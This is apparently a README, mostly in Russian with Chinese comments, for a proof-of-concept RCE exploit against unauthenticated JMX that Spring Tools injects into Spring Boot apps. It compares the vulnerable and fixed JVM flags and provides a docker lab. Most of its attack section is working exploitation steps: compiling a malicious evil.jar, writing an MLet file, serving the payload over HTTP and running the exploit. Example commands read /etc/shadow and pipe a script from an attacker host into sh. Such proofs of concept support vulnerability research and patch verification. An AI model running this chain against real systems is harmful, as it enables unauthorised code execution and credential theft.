
Концепт-эксплойт для неаутентифицированного выполнения произвольного кода (RCE) через JMX в режиме live information в Spring Tools, использующий удалённую загрузку классов через MLet для выполнения произвольных команд на уязвимых приложениях Spring Boot.
English README | Уведомление об уязвимости: Spring Security Advisory | CVE Record
Уязвимость: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 при запуске приложения Spring Boot в режиме live information (включён по умолчанию) внедряют в приложение параметры удалённого JMX без аутентификации, без TLS, с привязкой ко всем сетевым интерфейсам. Атакующий из смежной сети может без учётных данных подключиться к этому JMX MBeanServer и через удалённую загрузку классов MLet осуществить прямой RCE (с правами root).
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HСравнение уязвимого тега 5.2.0.RELEASE (== v2.2.0) с исправленным тегом 5.3.0.RELEASE (== v2.3.0):
Уязвимая версия eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: включено по умолчанию, при каждом запуске Boot-приложения из IDE внедряются указанные выше параметры.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) внедряет те же -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Исправленная версия 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX привязывается только к loopback).com.sun.management.jmxremote* больше не внедряются вовсе, вместо этого используется локальное подключение через Attach API по PID процесса (аналогично на стороне VSCode — в debug-config-provider.ts удалены все параметры удалённого JMX).Внимание: один только
-Dcom.sun.management.jmxremote.portуже включает JMX agent (без необходимости в главном переключателеcom.sun.management.jmxremote), вариант для VSCode работает так же.
Скрипты полностью разделены: setup-lab.sh отвечает только за развёртывание среды, attack.sh отвечает только за атаку и эксплуатацию. Зависимости: docker, JDK 17+ (по умолчанию /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (опционально).
setup-lab.sh)./setup-lab.sh vuln # 漏洞配置 (5.2.0 参数) [默认]
./setup-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup # 停止并删除容器与网络
Автоматическое выполнение: сборка уязвимого приложения Spring Boot → создание изолированной docker-сети типа bridge (контейнер-жертва 172.22.0.x, атакующий находится на хосте, имитируя смежную сеть) → запуск приложения с JVM-параметрами соответствующей версии → отображение порта прослушивания JMX → вывод IP-адреса машины-жертвы / порта JMX / шлюза. Контейнер-жертва остаётся запущенным, что позволяет сразу перейти к следующему шагу атаки.
attack.sh)./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
Автоматизация с помощью скрипта: компиляция вредоносного jar → генерация mlet.txt (команда передаётся через <ARG>) → запуск HTTP-сервера для раздачи полезной нагрузки → запуск эксплойта. Полезная нагрузка только выполняет команду и возвращает вывод: команда синхронно выполняется через /bin/sh -c внутри JVM жертвы, вывод перехватывается в памяти, после чего эксплойт через то же JMX-соединение вызывает Pwn.getOutput() и получает его обратно на сторону атакующего для прямого отображения (включая код возврата), на целевой машине не создаётся ни одного файла. Если всё же нужно оставить вывод на целевой машине, перенаправьте его самостоятельно в команде (например, "id > /tmp/out.txt").
Контрольный эксперимент: сначала
./setup-lab.sh vuln— атака успешна; затем./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned— атака должна завершиться неудачей (JMX доступен только через loopback).
attack.sh (рекомендуется)Команда полностью настраиваема, для изменения команды не требуется ничего перекомпилировать (команда передаётся через тег MLET <ARG>, jar не зависит от команды):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Процесс: автоматическая компиляция evil.jar → экранирование команд в XML и генерация mlet.txt → запуск HTTP-сервиса для предоставления evil.jar + mlet.txt → компиляция и запуск JmxExploit. Полезная нагрузка отвечает только за выполнение команд и возврат вывода, не записывая никаких файлов на целевой машине.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)